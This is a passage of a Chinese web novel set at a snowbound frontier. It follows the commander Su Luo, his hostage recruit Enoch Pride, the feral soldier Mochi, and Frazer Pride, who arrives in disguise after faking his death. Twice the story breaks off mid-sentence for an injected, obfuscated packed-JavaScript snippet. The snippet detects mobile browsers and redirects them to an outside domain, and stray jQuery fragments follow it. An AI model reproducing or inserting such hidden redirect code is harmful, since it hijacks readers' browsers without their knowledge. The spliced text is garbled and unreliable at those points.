当高处的青年低头,一并降低声音直至虚无,他体内的杀气如山洪尽数奔涌。
“回去,可以么,小崽子……”
哪怕听不懂意思,一些对气息敏锐,或该说感知力远胜于人的动物也会更聪明识趣。
前一秒还张牙舞爪,这一刻的白色巨兽瞬间跳离包围,嘴里含着窝囊的呜咽声。
明知高处的强敌不会追来,它仍坚持步步倒退离开,直至藏进树林的阴影里才转身狂奔。
眺望它敦实的大屁股,苏罗没忍住笑了一声,接着视线下移,终于看向瘫坐在地的杂兵。
准确的说,是对方的裆|部。
“什么啊……我白给你带换洗裤子和尿布了?”
话语轻飘飘,落到红发男人耳畔却似千斤重。
这重量直接压垮了他前期在脑中立起的多米诺骨牌,把仅存的理智自持摧毁。
午后一点零五分,强烈的林间风呼啸而过。
虽然离得远听不清,但通过伊诺克·普莱德的暴怒神情,苏罗少爷的痞坏笑容,站在后方的谢云哲能判断得出来一件事。
被嘲笑的前少校,这次应该骂得挺难听也蛮毁形象的。
29.元首的蓝宝石29
怒火占据头脑,导致身处绝对弱势的人质兼杂兵伊诺克胆敢当着‘魔鬼’的面吐出一句脏话。
那还不是他原本会说的,是他早上在食堂听旁人聊天时偶然学会的。
他甚至一比一还原了人家方言的卷舌口音。
刚过完嘴瘾他就瞬间萎蔫,像阳光暴晒的玫瑰失去色泽,脑袋低垂。
后面他才知道,‘暴晒’不是最难熬的。
“哈!”
他头顶上方传来一声怪笑,接着便是凿子般扎痛神经的话语。
“瞧啊,没了奶嘴以后我们的早|泄花花公子这么快就跟那群臭王八蛋们学坏了。”
心知这是故意在刺激自己,就和曾经也在首都面对过的阴奉阳违同一性质,如今的伊诺克却找不回当初蔑视不理的神气。
自魔鬼撕破人皮,向他亮出獠牙后,他的世界也被撕开一道崎岖口子。
即便如此,他仍强撑着另半边天的自尊,弱声地反驳道。
“你又没试过,你怎么就敢肯定,我不行……”
仿佛是听见了连环笑话里的二次扣题,苏罗嘴角咧得更开了。
“这句话我原封不动丢给你,另外你还不明白吗?这世上的某些位置——不是你想呆就能一直留长久呢,杂兵。”
明里暗里都被威慑并讥嘲一通,连头盔都无法靠自己戴好,赤红发丝全露出脖颈的男人彻底消音。
恰在此时,其余的队员重新攀上坡顶。
苏罗扫视一圈,首先点出最末尾的家伙。
“莫奇,回去以后你绕哨站罚跑三圈。”
此时的伊诺克默默起身,当即在心里痛斥着残酷的魔鬼行径。
哨站外围一圈少说有两公里,要穿成现在这样顶着风踩雪跑,无疑是把人丢上刑场。
这样苛待士兵,就等着未来被记恨报复吧。
他笃定地‘祝福’着苏罗。
“哎——您怎么可以这样对我!”
果然,唯二的新兵之一莫奇惨叫出声,几步跳上山坡,露出绝望哀恸的神情靠向苏罗。
“起码、起码要再加三圈啊!拜托您了!”
伊诺克:“……啊?”
刚以为自己是听错,发懵的一号新兵又见二号合掌,不依不挠地哀求着。
“求求您了师父,就让我跑六圈吧!”
“六圈?我问你,上次是谁就这样跑太久栽进雪堆里差点冻死的,蠢货。”
“不要啊师父!起码再给我加一个爱称,一定要双数啊!我只喜欢双数!”
“行了,闭嘴吧白痴。”
“谢谢师父!”
……
从三圈变六圈那里开始,伊诺克就跟不上声画的进展了。
可其余人却像是习以为常,姿态松弛地围拢,挨个去跟魔鬼热情搭话。
“您今天怎么想到来我们这了,该不会听说我们研究出一套专门针对您的致命绝招吧?”
尤金·哈里斯掀开口罩和护目镜,露出的脸与出发前的截然相反,眼底堆满笑意。
他这边刚挑衅完,那边马上就有人挤开他打趣。
“您别听队长胡说,他可天天都盼望着您来,连晚上睡觉都会梦到!”
“臭小子,瞎说什么!”
“哈哈哈!哈里斯队长,别敢作不敢当啊……”
声音,画面,无形的氛围屏障,伊诺克眼前的一切都能和他初到那日的假戏对上,甚至相较上次程度更深。
可是,不该是这样的啊。
自幼随父亲接触高官,也常年跟母亲与龙头企业打交道,作为一名典型‘普莱德’的红发男人困惑不已。
名与利才是处事的法宝,而一个高贵的身份、优秀的察言观色能力亦或是风华绝代的容颜,这些才是交际中的万金油,如磁石一样轻而易举地吸引着所有人。
然而那魔鬼至今展现出来的言行举止,一概不符。
口无遮拦,来历不明,只会拿鼻孔看人,成天指手画脚。
曾经的人群焦点,现在的隐形背景,伊诺克·普莱德郁闷地杵在树下,紧紧揪着袖口。
他的疑惑,随季宇飞缓缓走来的谢云哲或许能够解答。
尊贵少校秉承的理念,是人类社会沿用至今的阶级法条。
说不清到底是好还是坏,总之,它就随着人一起诞生成长,慢慢拥形成了牢不可破的结构与系统。
那就像一层无法脱去的外骨骼,紧密笼罩在所有人身上。
可在斯卡蒂,人们靠自己长出新的血肉,将一面辅助一面却又限制自己的‘外骨骼’吞并解构,也让交流回归朴素的本质。
不过经历这般那般,谢云哲都不愿多看红发男人一秒,哪还会好心搭话。
除了刚走近时扫去的一眼,他此后只注视人群中神色傲岸的青年。
寒暄过后,苏罗当场问了队长尤金数个问题,全是关于入境山路情况的。
“他们最近很不安分。”尤金也一脚踩上土垄,目光直指最远处层层叠嶂的山影,“我们已经连续三周找到有人扎营生火的痕迹了。那不是盗猎者或寻常的探子,留下的脚印非常杂,也完全不掩盖。”
斯卡蒂的西面与东面之间不止是危机四伏的野林,而随回暖期一起‘苏醒’的也不止饥肠辘辘的野兽。
“索拉兵团,他们终于等不住了……”
山头上风力强劲,与传说中寒冰妖精的双手相比,有过之而无不及,尤金颤抖的声音随气流飘荡消解,却更好地传入旁人耳中。
尽管思绪仍乱成麻团,伊诺克还是分得清‘为恐惧而颤抖’和‘兴奋到颤栗’的区别。
他困惑的事因此又增加了一项。
为何谈到多年忌惮的死敌,这群家伙会流露出急不可耐的神色。
同样跃跃欲试,首位的苏罗像头老练的成兽,能更收敛住危险的冲动。
他移开目光转身。
“不急,他们手头还有比我们更多的人质呢,现在不适合把他们一网打尽。你说对吧?我们的人质伊诺克阁下。”
他随时都不忘戳人痛处,眼神赤|裸|裸地指出角落僵硬的一号新兵。
藏在面罩后的脸几度因恼怒抽搐,伊诺克这一次好歹是忍住不吭声了。
决不饶恕。
他以稍微平静一点的心声复念着如今支撑他的‘魔咒’。
继令人费解的相处方式后,这群混蛋又向他展示了奇怪的坦然。
不仅当着他的面讨论作战方案,还拿出军用地图现场标注。
看起来完全没有避忌他的意思。
有前车之鉴,伊诺克这次留了心眼,默默记着图上内容却没全相信。
时间在他当木头人里度过,等他们结束对接,他也将东西山脉两侧间的路线与地形概况记得差不多了。
他长舒口气,脑袋侧面的撞伤微微发麻。
心也于此时莫名空了一下。
说起来,上一次他这样努力地记忆、去背诵作战有关的东西,是什么时候来着?
长时间对着雪地,眼前令人神经不适的银白仿佛也侵入视网膜,将他能搜索的回忆浸染。
他居然找不到所谓的‘上一次’。
尚未确定是找不到还是根本就没有,他后背又给谁重重一拍。
“喂,我们该走了啦!马上要吃午饭了!超棒的哎!”
怪人莫奇又厚着脸皮来搭话,套近乎的话术烂到伊诺克没眼看。
目前他一点也不想跟这些粗鄙的低等士兵扯上关系,因此嫌恶地拂开对方的手道。
“饭不是天天都有,你到底在起劲什么。”
而且还是那样难以下咽,甚至上不了他家餐桌的粗劣食物,到底哪里值得高兴?
他腹诽着走开,掸了掸衣服被碰到的地方。
“哎?但是我第一次在这吃饱饭唉,以前我跟麦迪婆婆在山上的时候,能抓到一窝鼯鼠吃就算过节。”
伊诺克脚步一刹,狐疑地斜瞥着莫奇。
他不是不信斯卡蒂会有这种人,只是想不通对方为何能傻傻地笑着,口吻轻快地诉说。
“有点可惜啊,我还蛮喜欢鼯鼠肉干的,唉……现在吃不到了,麦迪婆婆手艺老好了,你吃了的话也绝对会喜欢的,我保证!”
看着圆脸憨厚,眼神单纯的青年,才被魔鬼欺压过的他不禁产生一丝恶意。
他故意慢下脚步,和对方肩并肩,像兴致上来要跟人交好。
“噢?那这么说,你的那婆婆已经死了喽?死多久了?怎么死的?”
他也学着去踩别人痛处,岂料一脚踹在棉花上。
“嗯——大概吧,她被兵团的人抓走了,现在不是死了就是残废后被丢雪谷里了吧。这样也好,她也不会再饿肚子了,也不会因为担心我吃不饱然后哭瞎眼。”
说到这,异于常人的青年终于流露出一丝怀念和不寻常的激动,攥紧双拳像给自己打气一样。
“她跟我说,我妈咪就是因为太担心我爸比才哭瞎然后死掉的,所以我也不能哭,起码得等每餐都能吃饱两碗饭了哭一下下!”
“……”
伊诺克·普莱德微张的嘴再也挤不出声音。
他这一脚岂止是踩棉花里,简直是把自己的腿送进捕兽夹。
那道横亘在他世界上方的口子,又裂开了。
但心间的拧转感,俗称内疚感转瞬即逝,他轻哼一声,仍旧用轻浮声音反问。
“你怎么能这么肯定,你不是成为这边的士兵了吗?怎么不让这边的军队去救她?你那——师父不是很厉害么。”
他还是不愿用任何尊称指代魔鬼中的怪物之最,也抵触那个能捅穿他心胸的恐怖名字。
谁料,圆脸青年猛扭头,两眼亮晶晶的,又向他倒出更离奇的后话。
也算是兽孩莫奇的自身经历。
三岁父母双亡,被没有血缘关系的孤寡老人收养。
七岁时因为监护人,也就是麦迪婆婆的拼死相护,他在兵团的暴力侵|略下逃过一劫,但却因大雪走失,自此流窜在山头与野兽为伍。
长到十六岁他才被偶然路过的村民发现,带回偏远的无名村中。
可因为他力气饭量都太大,再加上常年与飞禽走兽共度,完全与正常生活脱节,村民们实在无心照料他,更不敢跟他走得太近。
住在羊圈三年,他能重新学会说话与人交流,甚至找回儿时的记忆已是奇迹。
“那可是相当险峻的峰顶啊,也是最后一座重新标进地图的老村。我们只能靠自己爬上去,因为当时的交通工具都行不通。”
南哨站的接待室里,季宇飞揉着肩膀回忆,仿佛又想起了过去惊险劳累的征服山岳之旅。
现在他侍奉的主人要单独出去巡视,他索性就跟新的‘临时工’闲聊起来。
“但是嘛,整趟旅程的收获也相当可观。我们不仅找到几处废弃的隐秘军事旧址,还挖掘出一伙攀山狩猎的奇才。
那个村的全村人日常出行都靠攀爬,徒手的,同时还会说一种官方没记载的旧语。根据该套语言,我们编造出一副新的通讯暗号。”
注意到谢云哲眼中的怜恤之情,季宇飞拉回正题。
“当然啦,最大的收获还是小少爷的首席弟子呢。一个……”
像是苦于描述,参谋长手指抵着下巴,望向墙壁陈旧的斑点印痕。
一个同时融合了两边世界特质,却又无法被它们接纳的存在。
一个身体虽已成年,心却永远留在从人类家园叛逃进野蛮之境那天的孩童。
“一个可爱可怜又可恨的家伙。”
季宇飞最后挪用了当初小少爷的评语。
在满是屎臭味的羊圈,唯有那人毫不在意,蹲到肢体动作畸形,表情眼神诡异的‘莫奇’身前,一遍又一遍询问对方的名字,也同样在给食物时不停跟人说话。
七天里,没有离开一步。
而兽孩开口说的第一个清晰的单词,就成了他现在的名字。
后来事实证明,这也的确是他的本名。
在一个官方在册但无人生还的旧村登记薄里,找到了莫奇·麦迪的名字。
活动完手脚,季宇飞终于肯于窗边坐下。
“说实话,那会儿其实连我都快放弃了。”他偏过头,眺望着圆形气窗外的苍茫雪景,“连我都觉得,找回那个孩子的‘自我’毫无希望,就算成功了也没有意义……”
因为他们谁也不敢保证,野兽养大的孩子还能懂得在人类当中摸爬滚打的道理。
和阿莉西亚的天残不一样,莫奇的情况更为复杂。
他的身心经过后天改造,还是比任何药物手术都更彻底,效果更持久的自然改造。
就拿性|征来说,alpha和omega在分化后腺体成熟,beta虽然不会释放信|息|素,也不能去标记或被标记,但仍有未发育的腺体。
而莫奇的后颈,没有腺体。
“另外他的体质……该怎么说好呢,光是血红蛋白含量这一项的数值就高到让人怀疑仪器是不是错了,受到惊吓后他跑起来简直是一道闪电。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429689|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“根据布雷格实验室的人推断,他原来是有腺体的,可那段极限的生活将他里外重塑了,也让这一个被大脑判断为‘对生存无用’的器官退化或者消耗掉。”
说到这季宇飞转回脸,向靠墙的青年喟叹道。
“消耗掉,然后变成其他形式继续让他活下去。很神奇,对吧。”
嘴角弧度犹在,眼中却无笑意,这样的‘苦中作乐’难免会让人感到沉重。
只见过士兵莫奇,没见过野兽莫奇,谢云哲无法完全感同身受。
但他握紧置于膝上的双手,拣选出脑中标红的记忆片段。
——是天啊,小首领
——天让你死,你不得不死
那两句话带给他的感受,已然发生质的变化。
似乎在这一刻,他作为游民首领的挣扎和向上攀爬,统统失去了意义,被看不见的大家长贬为玩闹的儿戏。
又像是以为翻过山峰就能看见辽阔宁静的海域,结果却发现,后面仍旧是层层叠嶂的山峦罢了。
不可思议的是,他竟然没有感到沮丧。
他耳内的‘海螺’涌荡着一种涛音,让打卷的愁绪像旗帜一般飘展开来。
这股来源未定的共鸣音浪,一直到他傍晚和谢玉海再见面时才减弱。
“天啊哥!你这两天到底跑哪去了,我去问他们,他们都不理我,还打发我去更远的地方搬木柴,啊、虽然那些老奶奶是很好啦,送给我好多点心,但是你一声不吭离开那么久是要吓死我啦——”
两天没见,少年憋了一肚子的牢骚,说也说不完。
同样满腹话语,谢云哲没辙地笑着,不知从何先说起。
有点难以启齿的是,即使他终于有自由活动的时间,他现在也有些偏心地想回到另一人身边。
这片土地的统领者,还在工作。
仿佛是要把前半个月匀出来的‘假期’翻倍补上,午后在边境巡逻一圈,发丝落雪的苏罗跳过晚餐,叫回在外开会做样子的苏霆,又在红屋秘密议事。
说是秘密,只不过是不想让眼皮打架的他在一边碍事罢了。
房门口的谢云哲哭笑不得。
而看着眼前絮絮叨叨,还完全蒙在鼓里的少年,他伸手拍了拍对方脑门。
“小海,今后要拿出态度,认真完成你在这的工作,你会有收获的。我保证。”
还在怒斥黑心鬼苏洛的少年一卡,正值变声期的嗓子发出了一声又长又难听的——
“嘎啊——呃咳、咳咳!”
被自己口水呛住,少年连拍胸脯,缓过后想再说两句,远远地就看到有辆车开了出来。
“咦?又有人出去吗?”
意识到什么,谢云哲来不及解释,紧赶慢赶抢在车子驶离宅邸大门前拦下。
开车的是西奥多,他这次算刷脸成功。
而车后座传来的一句‘让他上来’也让他如愿同行。
宽敞的双排相对座位,各边坐着一人。
加上他以后,完全是白天的行动配置。
不过,和颜悦色的季宇飞换成了冷漠寡言的苏霆。
“我们要去疗养中心,列兵巴兹病危了。”
解释只有一句,也是他后来全程唯一说过的话,但今天的他并不会显得突兀。
谢云哲谨言慎行不多嘴,西奥多专注驾驶无废话。
而唯一会拿他打趣的苏罗以手撑着脸,静静凝望窗外向后疾驰的夜景。
直到来到疗养中心,站到那苍老瘦削,如同干尸一般的病患身边,他才发出个性十足的问候。
“喂老东西,还活着吗,这次你没漏屎尿在我床上了吧。”
老人头上已没有几根头发,加上核桃一样皱巴巴的脸,很难看出来他竟是桌上相片里意气风发,搂着两个孩子的男子。
他很费劲地撑开右眼一条缝,污浊的眼球里满是疑惑。
到这阶段,他应该是看不清也很难听见了。
于是,苏罗弯腰凑近,又说一遍。
“喂——叫巴兹的老东西,我大老远跑过来看你,你睡醒了没啊?还不快起来感谢我。”
插着鼻导管的老人指头抽了抽,摘掉假牙后的嘴唇像两条干巴的蜗牛。
看嘴型,他应该是说了什么的,让旁边的青年笑起来的同时他自己也眼神发亮了。
“那是当然,我答应你了,你是我在这里第一个向我进献效忠的子民。这份殊荣不是谁想有就能有的。”
一如既往昭示自己的至高至上,苏罗又俯身靠近几分。
他按住对方那只没有扎针的,如树枝干枯的手。
“所以,我也不准你死在我应许的地方之外,死在我赠予你回礼,帮你找到你那位恩人之前,你听见了没有。”
这比他以往的命令都要蛮横,甚至能听出一点‘苏洛少爷式’的无理取闹。
但却顿时让一边守候的医护人员眼眶微红,让后方的苏霆用力闭眼,深深吸气。
病床上的人又蠕动那两片干瘪的唇,抬起另一边的手。
他已经太老了,也太虚弱了。
在今天突然病危前,他一天里基本没有清醒和能完全自理的时候,常把医生当成敌人怒斥撇开,把护士看作儿女偷摸塞去他以为是糖和食物的药。
不过,他始终记得要如何向尊敬的人致敬,印证了陪伴他半生的小兵头衔。
有镇定作用的急救药物输入体内,老者颤颤巍巍屈肘,鸟爪状的右手最后搭在一侧额角。
他就这样保持着敬礼动作睡着,也勉强挺过这一遭。
然而恶化随时会发生,具体情况还要再等一夜才有结果。
对此,专门赶来的苏罗也只有‘那就留在这办公’的命令。
可在他正式开始前,走廊外的西奥多又进屋帮季宇飞传达了一条消息。
“首都发生了航船坠毁事故,弗雷泽·普莱德搭乘的飞艇爆炸了,一共十名死者都核实了身份。他也在内。”
初听此事,房内某对亲兄弟的反应同步得令人发指。
眉毛皱起的幅度一样。
双唇紧抿牵动右边嘴角的习惯也一样。
连各自藏在背后、口袋里的手都同时握拳,拇指因思考摩挲其余四指。
他们甚至还因为相似的猜测下意识巡视房间,不出意外地和对方撞上。
瞧他俩像照镜子一样双双怔住,苏罗饶有趣味地勾起嘴角,顺便给出一句答案,肯定那两人的质疑。
“准备准备,很快就有位死而复生的僵尸要跑到我们这来了。”
30.元首的蓝宝石30
死而复生的僵尸。
三天后,当来到南哨站,看到衣衫褴褛,宛如一团破布球的外来者,谢云哲不得不赞同那晚苏罗有预见性的描述。
这个难民模样的人没持有过境申请,没提前上报卡关,却只身走入雪域,闯进南哨站镇守的范围。
被士兵持枪吓退时,据说他还摔了一个狗啃泥,跪在那哆嗦半天。
跟他交流他就打手势,常常表现得听不懂人话,嘴里也只能发出断断续续的怪声。
再走近些,甚至能闻到他散发出的馊臭。
可若有谁要强硬触碰,他又会像鬼上身一样嚎叫不停,满地打滚。
哨站有严格的禁令,士兵不能轻易搜查像这样的未知外来者,于是暂时将他安置在站外岗亭,也就是审问室。
若没被提前打了一剂预防针,谢云哲刚看到男人时,还真会以为对方是逃难的流民。
那如惊弓之鸟的畏缩姿态,封闭自我的疯癫举止,简直跟他印象里某些凄惨同胞的一模一样。
这会儿他算想通为什么苏罗只叫他过来接应了。
狭小空间内,哨站总管尤金一人就如一堵高墙守在他与难民中间,倚着墙面,防止他被袭击。
隔着桌子打量片刻,谢云哲又问了几个简单问题。
结果无一例外,他都被无视了。
这失心疯般的男人垂着头,黑漆漆的,早已包浆结块的长发遮住面庞。
偶尔能透过发丝缝隙窥见他一闪而过的眼睛,还有堪比焦炭的脏脸。
又静默几分钟,谢云哲示意尤金凑近,朝人耳语了一句。
对方办事效率很高,立马发下通知让站内送来东西——热气腾腾刚出锅的食物。
香味浓郁,荤素全有,那碗里的大块肉炖到脱骨,拿起轻轻一吸就能嚼到迷|药般能让人上瘾的骨髓汤汁。
饭菜刚放下时,谢云哲自己先每种拿出一点,当着男人的面吃下以证明无毒。
见此情形,男人也从忐忑伸手变成放心地大快朵颐。
不到十分钟,桌上的食物全进了他的肚子。
而谢云哲心里也有了自己的答案。
他仰头直言道。
“哈里斯先生,麻烦您把他带去搜身吧。他不是难民,起码这几天以前不是。”
虽有疑惑,但尤金表面不显,他望向邋遢男人的眼神则更具压迫感了。
“先生,您自愿配合还是我们请您配合,劳烦您别怕麻烦,好好做个选择吧。”
重音落在‘请’字,声音暗含警告。
一如他缓步走到桌边,结实右拳抵住桌面,发出类似重器捶打的闷响。
室内寂然数秒,驼背啃指甲的男人忽然变了面貌。
他挺起背,翘起腿,双手顺势拢起长发推到脑后。
尽管脸还被污垢糊着,下颌像被拳头锤歪,但他焕发的神采、斐然的气势,仍能惊艳四座。
“哎呀,我还以为这次我能撑到进城门呢,没想到——你们这是哪找来的场外援助?”
男人一开口,谢云哲就蹙起了眉峰。
这从容不迫的嗓音里含有一种温和的饥渴,像慢性毒药能逐滴麻|痹神经,既能引起人的不适,却又难寻病因。
“废话少说,弗雷泽·普莱德。”尤金没好气瞪着人道,“既然你伪装成这样想混进来,我只能当你是居心叵测的间谍探子,秉公处理了。”
弗雷泽却不慌不忙,从破布堆般的厚衣裳里掏出一张丝绢擦拭脸颊。
“我知道您和那位铁石心肠的元帅都不欢迎我,可是啊,无论何时都愿意收留我这样众叛亲离,只求一处温情归宿的小可怜——”
他边说边撕掉伪装的假皮,随后咔咔掰正下颌。
再开口时,他的毒药嗓音跃升成了高雅毒酒,深沉醇厚。
“这话,不是你们尊敬的苏罗少爷亲口说的吗?嗯?”
欢迎语被如此曲解,谢云哲眉间的褶皱更深了,都快赶上这几天心烦意乱的苏霆。
于是他也加入战场,食指轻敲桌面两下示意道。
“那就先请您配合,证明您目的的纯粹和合规。鉴于您之前的双重身份、可疑行迹,仅凭口头的一两句解释,很难洗清您身上的污点。”
刚好是说到‘污点’时,弗雷泽擦掉额头最后一点假皮肉。
他手先是一顿,随后缓缓挪开。
他的脸颊仍旧泛黄,眼皮肿到让人看不清他的瞳色。
可对视的短短几秒里,谢云哲就感到自己被对方不怀好意地看穿看透,不禁往后避开一下。
“真是伶牙利齿的小帮手,怎么样,回到自己家的感觉?”
男人模仿着艺术雕塑托住下巴,好奇问他。
“你有在这里选到一个好地址吗?能住下你全部嗷嗷待哺,哇哇叫哭的断翅飞雁们?”
到此为止,谢云哲又肯定了一个答案。
他绝对厌恶这个跟红毛伊诺克同父异母的‘不知道什么毛’,且程度更甚。
读懂他的眼神变化,男人掩着嘴,笑声假得像一块空心石头的落地。
幸亏他接下来的表现还算不错,老老实实跟尤金进哨站。
重新审问的流程更繁琐,他则有问必答,知无不言,直爽到对他敌意满满的尤金也诧异不已。
相比他的配合,关于他因飞艇坠亡一事的真相更叫人吃惊。
“我收到两张拍卖会的票,拍品里刚好有我近期写研究报告能参考的珍贵古籍,所以我只好低声下气向尊敬的父亲批准外出。”
手捧热茶,弗雷泽声情并茂地回忆着事发前的经过。
他和几名同好相约一起出发,其中一人声称自己包下飞艇,让他们只需带上行李。
因为不是第一次遭受意外式的暗杀,动身前也有所察觉,他提前做足准备。
“我料到会有这一出戏,却不想,呵……”
通篇下来,唯有这句弗雷泽暴露了幽暗本性,也让他开启新的叙述篇章。
“这次他们做得实在不够漂亮,前脚次子刚与长子的婚约对象修成正果,后脚就让倒霉长子以如此轰动的方式扫出家门,好让大元帅合法地占有其亡妻留下的另一部分遗产——留给我的遗产。”
如今他这位倒霉长子转动茶杯,嗅着沁鼻芬芳,呼出一口苦闷叹息。
“和我一起遇难的,都是有真才实学的教授和学长,难得的明智人,也是坚定反对发售‘跳虫通行券’的中立派,只可惜……”
眼皮再一眨,他眸中的遗憾又变回初始的玩味。
“如你们所见,在所有人包括少数知晓我真身的部下看来,我已经是死者了,我是靠变成幽灵一路行乞才走过来的哦,真的无家可归,无处可去了。”
隔室外,审讯员之一的谢云哲仍旧警惕地盯着那张肮脏疲惫却无一丝绝望的脸。
他的预想果然没错。
弗雷泽是比伊诺克·普莱德棘手不知几万倍的家伙。
想来也对,能成为‘阿米巴’帮派之首,一面又完美伪装成手无实权不受宠的大元帅长子,这样的人怎么可能会是泛泛之辈。
“谢先生,您觉得要如何处置他?”
尤金在一旁发问,那与其说是请他示意,倒不如说是从他这探一探某位的口风。
“唉……”
以和苏霆同款的哀叹开篇,谢云哲遗憾地向尤金点头,并重新按下连通审问室的扩音器。
“弗雷泽·普莱德,按照规定,你要先在哨站隔离七天,做完所有检查和测试,确定没有携带可疑物体或病菌才能入境。”
单向的玻璃墙后,弗雷泽歪过脑袋,看着他所在的位置勾起唇角。
“原来您还在啊,小帮手。能不能请您为我解惑,告诉我为什么伪装失败了吗?好让我死得明白?”
谢云哲没急于应声,又端详了一阵才凑近面前的阵列麦克风。
“说到这我倒是还想再问你,信誓旦旦说有准备额外赠礼的人,怎么会落得一个身无分文,要靠乔装打扮才敢走正门的窘迫下场。”
听他点出关键词,弗雷泽眸光闪烁一下,随即摊手。
“不就在这么嘛。”他喜滋滋笑着,亮出满口白牙,“对于我亲密的合作伙伴来说,我的到来难道不是最美好的惊喜礼物吗?”
谢云哲闭上嘴,眼角轻抽。
真不愧是普莱德家的长子,连厚颜无耻的程度都比伊诺克·普莱德高了一倍。
门在此时打开,紧凑的脚步声与一道高亢声音续上对话。
“惊喜成立的前提条件是不会被人猜中,就这一点你还原得太失败了。”
刚结束早上在佩佩郡的行程,苏罗皮靴上还沾着深褐色的矿灰,发梢也缀有亮晶晶的粉末。
他站到谢云哲旁边,直接欺身压向麦克风放话。
“所以,你别想蒙混过关,不然那些尾款你也准备跟它们说再见吧。”
即使没见到他人,玻璃后狼狈的弗雷泽也绽开一个犹如花开,极富层次感的笑容。
五官组成的笑是礼仪,牵动它们即表皮的血肉则听令于更强烈的狂喜。
若他眼中没有那股非人感的饥渴色彩,他的模样会更符合一个翻山越岭只为见得心上人一面的情种。
而不是像以视线舔舐猎物的毒蛇。
此刻,他舌尖飞快掠过下唇,突然开口说了一句话。
听着不像通用语,也并非在场审讯官们熟悉的任何一种常见旧语。
苏罗扬扬眉毛,不假思索回道。
“这么急着显摆,是你已经有心仪的岗位了吗?好久不见的——亲、爱、的。”
他的回应给刚才因陌生语言而一头雾水的人解惑,似乎也让弗雷泽更来劲了。
“对于时刻准备争取机会的优质人才,无论在哪,无论获得什么身份,都能像可敬的耳蕨,凭着一点点甘霖就焕发生机。所以,我从不忧愁,也不为职务抉择犯难。”
自诩顽强野草后,他站起鞠躬,身姿优美得像一名舞者。
礼毕他向前伸手,状似邀请,也似通过视觉差的把戏将他看不见的人影置于掌中。
他又像悲剧里的男中音哀叹。
“倒是您啊,我朝思暮想唯一心仪的人,始终不肯回头看我一眼,令我何其苦恼,何其哀伤,唉——”
面对故作夸张的示弱,苏罗右手叉腰,笑得大度而又残忍。
“哦,谁让你回回都想站我面前挡路,我又不能让脖子反转半圈来‘回头’看你。把他洗干净点再带出来吧,一个副领事搞得像屎坑里爬出来,丢脸死了。”
后半句他扭头向尤金吩咐,坐实了将弗雷泽·普莱德直接吸纳为一员的指令。
即使当下万般抵触,但哨站内的人,以及后来得知消息的苏霆也不得不承认弗雷泽的才干胆识,相信他的加入大有裨益。
哪怕没有帮派之首的黑暗一面,他作为历史学者也属顶尖。
“可你的表情完全不是赞同的意思啊,苏霆。”
发小季宇飞不用敬语,直呼全名,相当于一开始就将谈话拉到私人的情感交涉这面。
他们俩在新基地共乘升降台,封闭独立的空间也确实适合谈论心事。
“他太不安分了。”苏霆不客气地接受对方好意,以自己的方式倒苦水,“不仅是弗雷泽·普莱德本性危险,一切跟他有瓜葛的事物也会殃及旁人,两头都是……”
一边是首都忌惮他的大元帅夫妻,一边是活跃在暗环区的牛鬼蛇神,他的双重身份就意味着加倍的敌人与怨仇。
堂而皇之重用他,斯卡蒂未来也将一并承担他自带的风险。
可他口口声声说‘挚爱’在此,却又故意把祸端引来让他们分担,既解决了自己的性命之忧,又能优哉游哉地贴上来享乐。
真是打的一手好算盘。
听苏元帅讲了一大通,最后又以语气更重的‘他太不安分’同句话收尾,季宇飞不禁搭住人家右肩。
他摇头感慨,脸上交织着惋惜和欣慰。
“我说苏元帅啊,您要是早一点说这些,指不定小少爷真的肯考虑您的小脾气,把那位安排得远一点,让你眼不见为净哦。”
细究参谋长的安慰,倒是能听出些
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449167|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许‘弟弟’会宠溺‘哥哥’的奇妙错位感。
可事实何尝不是如此呢?
深陷自己思绪的苏霆心头微震,脏腑深处流出一股难以言喻的感受。
他素来不是爱沉浸回忆的人。
在父母一夜之间殒命,自己突然独挑大梁,踏入斗争漩涡的时候,他就明白拒绝回首是继恐惧之下的安生诀窍。
逃离过去永远是最省力的快乐麻|醉法。
但三天前的夜晚,他陪同那名青年去到病房,再次听见与某句相似的话语。
——你们要死,也得给我死在你们该死应死,是经我准许的地方
一年前叩响他心扉,让他至今难忘话语。
彼时他还深深厌弃,将胆敢对他乃至全军都颐指气使的人视为异类敌对,质疑对方为何一无所有却胡搅蛮缠地闯进他们家园。
如今一年光阴流逝,除了三天前的深夜,他再也没听那名青年说过这话。
直至聆听的第二次,他才惊觉自己原来一日不曾忘记,时时刻刻都在回想。
乃至他从未当面询问过,他也逐渐理解每个字眼后的深意。
王要他们死。
死在由他一手打造,以身相护的国度里。
那里将不会再有无意义的纷争和矛盾,不会再有充满悲痛跟遗憾的离别,将会是世上最丰饶美丽,只有至纯的快乐、活力,是连神也艳羡觊觎的庭园。
受制于升降台的运行时间,他与季宇飞之间的好友密聊草草结束。
跨出大门,他攥起右拳,发觉汗水不知何时淌湿掌心一片,紧紧吸附着手套的内衬。
他曾用这手接住过一颗掷向他的苹果。
果汁因空气氧化发稠,黏着手掌,残留的甜酸混味在他回忆里竟如此鲜明。
那清晰到他仿佛能欺骗自己一回,信他当初没有将苹果随意丢弃,而是当作赐礼珍惜地吃掉。
若他真这么做了,现在的某些局面或许会有所改写。
或许,他越来越严重的‘坏毛病’也将不治而愈。
暗自苦笑一声,他又戴起冷然的表情盔甲去面对部下。
